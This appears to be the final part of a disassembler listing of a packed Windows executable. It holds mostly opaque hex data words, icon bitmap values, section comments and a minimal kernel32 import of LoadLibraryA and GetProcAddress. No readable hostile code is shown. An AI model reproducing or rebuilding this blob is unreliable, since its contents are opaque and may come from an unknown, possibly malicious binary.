35B0642Ch, 6A74EF4Ah dd 0ED0C8D1Ah, 4D809AC6h, 0A6A3127h, 895F12Ch, 84918752h dd 5011DAB9h, 7274230Fh, 7C918415h, 1D06DC68h, 7E39EA52h dd 0B81B9550h, 5802A21h, 212EC868h, 4FF910D1h, 921825FDh dd 8B23FE45h, 0C7F60D97h, 0BAE829CBh, 5AE8CE7Fh, 580AB968h dd 20DBF4E8h, 9DFD8810h, 0CB8B42BBh, 0AB3422Bh, 391617ADh dd 0AC1F020Ah, 1AFD12h, 0F943D9D8h, 0B6474E6Bh, 89C57814h dd 0A96A520Dh, 21411091h, 863CF468h, 3DF78085h, 0C5B509B7h dd 13E82380h, 0E49D0CE5h, 0C54F20A1h, 476325Ch, 6839EB01h dd 8E3BE361h, 0C67E45B4h, 881BA412h, 7E0BF599h, 90254246h dd 0B858BBFCh, 668963C8h, 0D74C9AE8h, 76381110h, 2EE8A182h dd 18B83387h, 0CEC0D8Ah, 0B1BC8D08h, 19F15842h, 6A684548h dd 130E33DCh, 8B6E39D8h, 0C5C09440h, 8E7CBE86h, 40BD0989h dd 217D2806h, 90E96A2h, 815B2AD5h, 0D188D89Fh, 1490CE55h dd 40F544C6h, 6AC7EB8Ah, 90686009h, 0FFCD1918h, 0BEDE810h dd 4D2B1895h, 7C1090D8h, 0D12486D5h, 6A3412E0h, 0A940FCB0h dd 6A18CB22h, 0E768091Ah, 0AC292471h, 4530F466h, 0E852473Fh dd 0AD848CA8h, 1CA490F8h, 0C8BE0F1Fh, 340954C0h, 0D2989588h dd 855082F7h, 62A70889h, 7745E813h, 0A4BC3134h, 315F567Ch dd 4CB8C03Fh, 5188091Dh, 8958A90h, 3D438522h, 66124623h dd 1C802F05h, 30658517h, 358797FCh, 91121E99h, 9097143Ah dd 0F178026Fh, 15E30814h, 3511E80Ah, 0F1BDC14Bh, 2414E001h dd 10597D44h, 194422F9h, 0B0DAC68h, 119C7390h, 0E80AF160h dd 0C9E70AD2h, 10003DD0h, 813CC96Bh, 991CC0C1h, 82449049h dd 0D30AC6E8h, 2D5C155Bh, 493AB21h, 6410A950h, 0A032544Dh dd 0D46844B0h, 0FF2C2E5Bh, 625AA78Ah, 6C11FC7Ch, 5151211Eh dd 46265288h, 0BE024D32h, 24827443h, 2CD8109h, 4D7DD708h dd 0F7951D2Ah, 8CFB197h, 4DEE88E1h, 289D5834h, 22C61A23h dd 8ACF591Ah, 0B08543BBh, 0E1364B8h, 526820B1h, 5964B21Ch dd 0D0221031h, 9BFE815h, 0A164675h, 0A2763C85h, 1620A945h dd 246877EBh, 534407D0h, 7F50C08Bh, 94A8ED7h, 0F15C3961h dd 0FA85F717h, 0CCDCE8CCh, 0B942604Ch, 0CC337A23h, 5F228CB8h dd 0C068269Bh, 7C882620h, 645444C0h, 34070AC5h, 82643CD2h dd 85F2A125h, 0E296837h, 9C158F37h, 0C51A2848h, 4844EC6Ah dd 0E0D76Ch, 0A5DD9B52h, 735C5A99h, 2D0DE44h, 210640C4h dd 45089718h, 0B1410C5Ch, 222EB8B4h, 37E16830h, 3D2A0418h dd 0AE01D410h, 0D1A06816h, 4B1960F8h, 55948840h, 0E3C6A0A4h dd 18858887h, 88BFB41Bh, 0E884D080h, 8A980847h, 3C1B515Ah dd 1ACCC944h, 29D042E8h dd 6A021B2Ch, 0A2846870h, 11763C31h, 425E1C16h, 0ADEC100Ah dd 2176ACC4h, 0A10D07FBh, 0F815AA5Eh, 81701034h, 0AB07E284h dd 74FC8872h, 0E8052407h, 0F1C748A3h, 0E31CC2CDh, 33893E09h dd 0DC1C075Fh, 314D380Fh, 8BB809D4h, 72EB85C0h, 32687C6Ah dd 95FD1A04h, 790C844h, 48976457h, 0C0749955h, 18100B36h dd 1B498AC1h, 86B1269h, 0E88834B7h, 643044C8h, 0CD93BE81h dd 0F87CEF16h, 77A2D184h, 0EB0304F2h, 0CB825C17h, 0BA21AEA4h dd 0DB6FF7A8h, 646427C8h, 0F9A02087h, 0D723BD5Ah, 64AED4A4h dd 4534A4DBh, 123BEC48h, 0E9DD06AEh, 64D1F3F6h, 70950DF0h dd 45F8E3Eh, 66AEE45h, 6BA33DEAh, 0FD442F64h, 0E6B3017Fh dd 1DD1EC27h, 21E33625h, 89940163h, 167885E8h, 52FCA621h dd 41893B27h, 8534449Eh, 4632E5A8h, 0E866A658h, 3DA85037h dd 0A2174304h, 0DE641504h, 9C1DB022h, 8AD923C7h, 29926531h dd 0DCD1888h, 1484BD80h, 9397430h, 22B318Fh, 0DBC6072h dd 884DF927h, 0A453F8E7h, 88016498h, 70910AEBh, 85489CFh dd 66AD8139h, 2EB952BFh, 0DE6A2CF1h, 575C947Dh, 24F55097h dd 5809FEFEh, 9C9ACDFCh, 0AC3C9283h, 0A72BED21h, 55890A59h dd 0D8F111DCh, 4D9D7F6Ch, 682A9864h, 85B8E37Dh, 31BC1475h dd 0D939CCC8h, 83A022CAh, 72B7EDA3h, 16439138h, 6FD9CC4Dh dd 0D20C8E5h, 0E7045D6Dh, 69B42DDFh, 0E6B39DD7h, 306D0E91h dd 0B4636927h, 0DDF72634h, 0E451453Ah, 0CF03D9DEh, 65E0ABh dd 0EE4D474Ch, 0F8978751h, 0DC2728A3h, 1833B271h, 0F068E0E0h dd 0E9B3DF2Eh, 34FC696Ch, 1125F416h, 25442D2Ah, 0F2412FE8h dd 0D432114Ch, 2FF48E66h, 0F2EDE016h, 1798BD86h, 2F647501h dd 65BED4B0h, 964DB66Dh, 4A6CDFF1h, 81EC55B3h, 7AFC76CAh dd 352B102Dh, 52BDEC65h, 85FCA8A4h, 0C68AF844h, 0FCF578E4h dd 882DE880h, 908D9A64h, 9AFDEDF0h, 0FF14C11h, 0EC08F023h dd 6AB55EF1h, 46F53EE7h, 21609FE0h, 0E2D7FB81h, 1E17F057h dd 257C23F7h, 7B1EFA8Ch, 1759515Dh, 0EB69860h, 318AABA4h dd 0ACBDADBh, 4C7D349Ah, 9DE9980Eh, 237023F9h, 293D8D84h dd 0BD894C32h, 0BFB9D6E8h, 0EF1F64B4h, 89D44FCFh, 706DBEA5h dd 0E436127Fh, 3F706866h, 14330F50h, 0F32E1E41h, 7E9391DCh dd 3A3865E5h, 59C2BB8Dh, 52253D61h, 3768B3F4h, 87204070h dd 0D21B935Ah, 4E2C7425h, 900694CAh, 643CC864h, 19443240h dd 864C0C48h, 74215043h, 8C80490h, 0E8310C64h, 86E40810h dd 0DC22E043h, 3D51E080h, 0F239E1h, 7208244Ch, 0A1E98114h dd 5412D0Ch, 18500185h, 1B2BEC73h, 1AC48BC8h, 8B3E1A3h dd 500440C0h, 70CCC332h, 0A43EA5C0h, 0C9C564Dh, 802D5Dh dd 4ABB5Ch, 4A11383Ch, 32535703h, 2E98335Fh, 0C3E36C64h dd 9080332h, 48162414h, 22339172h, 0F6E440Ah, 9121289h dd 3460724h, 41037880h, 6E657645h, 6C47BF74h, 146E6367h dd 996CC01h, 120C8911h, 48732401h, 2238910Bh, 0FF133302h dd 0F7042803h, 52455355h, 68438070h, 4C726103h, 0AB65776Fh dd 3E187641h, 69337073h, 164066ACh, 1040142Ah, 4E52CE4Bh dd 0CF2C4C6Ah, 83616587h, 0E6676946h, 74A34714h, 73663E56h dd 456E6F06h, 6CFE7378h, 617462F2h, 0AB48BBF3h, 46060D63h dd 0DB516572h, 69A364B4h, 79C8CCFFh, 50364154h, 3846BDF7h dd 733AE764h, 0E8FF91Dh, 52547461h, 210D412Bh, 0CF0EA0D7h dd 48A7738Ah, 1B64C561h, 182AF06Eh, 18C31A74h, 0D8696157h dd 50726F46h, 0C267A853h, 6A624F36h, 5921004Ah, 0C7727543h dd 68544318h, 0E549648Fh, 8C441452h, 28546ACEh, 0CA5F7079h dd 0A0BC6ECCh, 0DE7ADAB3h, 0E54E1031h, 450F4E78h, 6016BB74h dd 70637248h, 416E2979h, 3D6D9F0Bh, 0A431557h, 606E6665h dd 636954CFh, 6F436B0Fh, 8D84D575h, 4B418B57h, 0CEA24473h dd 0F34CF396h, 622F8253h, 7856AFAh, 73E00A75h, 926F46DCh dd 53527786h, 0E635D0B9h, 0DD537897h, 156D95CEh, 64D04DB3h dd 30916C75h, 6D614E87h, 0B27214FAh, 0C510D2Ah, 4D2270F5h dd 1C9A0D95h, 8D69A484h, 8C754D79h, 0BA614C69h, 0B0ECDA45h dd 524D2931h, 0F64C789Ah, 44A317E1h, 4950E956h, 4467130Eh dd 56446859h, 0D175D620h, 4F2411C8h, 4B6E0F54h, 9B2798Dh dd 51C7140Fh, 4A94101Dh, 522441DAh, 534D409Ch, 52524356h dd 0E0635054h, 0C12696Fh, 6E676366h, 5573B389h, 7B45712h dd 91112D11h, 0C5466B54h, 6D69347Eh, 63C20A5Fh, 2A1D21EBh dd 68258699h, 0EF36AD75h, 5D19610Fh, 8D6CDA6Dh, 0C387664Ch dd 9B647369h, 0A593AC67h, 4032883Fh, 91DCA359h, 5ADD4958h dd 2F330E42h, 0E0D1F9Ah, 0E24ACABEh, 8025B12h, 0D6886766h dd 84F92042h, 0AD47FDB6h, 9EB18DFAh, 60466977h, 61A880A4h dd 49C0A463h, 35420B6Fh, 4514D941h, 104AAC94h, 0D56E186Ch dd 40974619h, 16917354h, 0B112088h, 5C094853h, 68FA5D96h dd 5141D1D4h, 638C55F0h, 477DA48Bh, 86D8ECBh, 55402265h dd 98444C52h, 0C9EEFB5Fh, 6AE25454h, 34271941h, 4E495710h dd 3B4504C9h, 6D6EE361h, 32D2EC84h, 12786C16h, 641EC763h dd 0E72AE953h, 695FCC8Fh, 6C687014h, 49EF75BFh, 4E519930h dd 0F307706h, 0A850586Bh, 24495948h, 60h, 0BB5C0000h, 28004Ah dd 200000h, 400000h, 10000h, 4, 2800000h, 6 dup(0) dd 80000080h, 80000000h, 800080h, 800000h, 80800080h, 0C0C00000h dd 808000C0h, 80h, 0FF0000FFh, 0FF000000h, 0FF00FFh, 0FF0000h dd 0FFFF00FFh, 0FFFF0000h, 0FFh, 3 dup(0) dd 77070000h, 3 dup(77777777h), 0FF077077h, 3 dup(0FFFFFFFFh) dd 0F60770FFh, 67h, 0 dd 76000000h, 0F607706Fh, 60h, 0 dd 6000000h, 0F607706Fh, 0BB0B0067h, 0BB0B00BBh, 7600BBBBh dd 0F607706Fh, 0B00060h, 0BB000h, 6000000h, 0F607706Fh dd 0B00067h, 0BB000h, 76000000h, 0F607706Fh, 60h, 0BB000h dd 6000000h, 0F607706Fh, 67h, 0BB000h, 76000000h, 0F607706Fh dd 0BB000060h, 0BB0000BBh, 600B0BBh, 0F607706Fh, 67h, 0B000h dd 76000B00h, 0F607706Fh, 60h, 0B000h, 6000B00h, 0F607706Fh dd 0B00067h, 0BB000h, 76000B00h, 0F607706Fh, 0B00060h dd 0BB000h, 6000B00h, 0F607706Fh, 0BB0B0067h, 0BB0000BBh dd 7600B0BBh, 0F607706Fh, 7066h, 0 dd 66070000h, 0F607706Fh, 6766h, 0 dd 66760000h, 0F607706Fh, 706666h, 0 dd 66660700h, 0F607706Fh, 6666h, 0 dd 66660000h, 0F607706Fh, 0E706666h, 0EE0E00EEh, 66660700h dd 0F607706Fh, 6666h, 0E000E0h, 666600E0h, 0F607706Fh dd 706666h, 0E000E0h, 666607E0h, 0F607706Fh, 6666h, 0EEEE00E0h dd 66660000h, 0F607706Fh, 706666h, 0E000E0h, 66660700h dd 0F607706Fh, 0E006666h, 0E000E0h, 666600E0h, 0F607706Fh dd 706666h, 0EE0E00E0h, 66660700h, 0F607706Fh, 6666h, 0 dd 66660000h, 0F607706Fh, 706666h, 0 dd 66660700h, 0FF07706Fh, 3 dup(0FFFFFFFFh), 770770FFh dd 3 dup(77777777h), 7077h, 26h dup(0) dd 10001h, 102020h, 40001h, 2F0h, 1, 3 dup(0) dd 30002h, 200000h, 0E8000h, 600000h, 8000h, 3 dup(0) dd 10001h, 380000h, 8000h, 3 dup(0) dd 4090001h, 500000h, 0F5E60000h, 2F00000h, 5 dup(0) dd 10000h, 0A00000h, 788000h, 8000h, 3 dup(0) dd 4090001h, 900000h, 0F8D60000h, 140000h, 2 dup(0) dd 10000h, 656B0030h, 6C656E72h, 642E3233h, 4C006C6Ch dd 4C64616Fh, 61726269h, 417972h, 50746547h, 41636F72h dd 65726464h db 2 dup(73h), 0 ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] dd 0C00Ch, 2 dup(0) dd 0F98Eh, 0C00Ch, 18Ch dup(0) __u_____ ends ; Section 3. (virtual address 00010000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00010000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4B0000h dd 80h dup(0) align 1000h _idata2 ends end start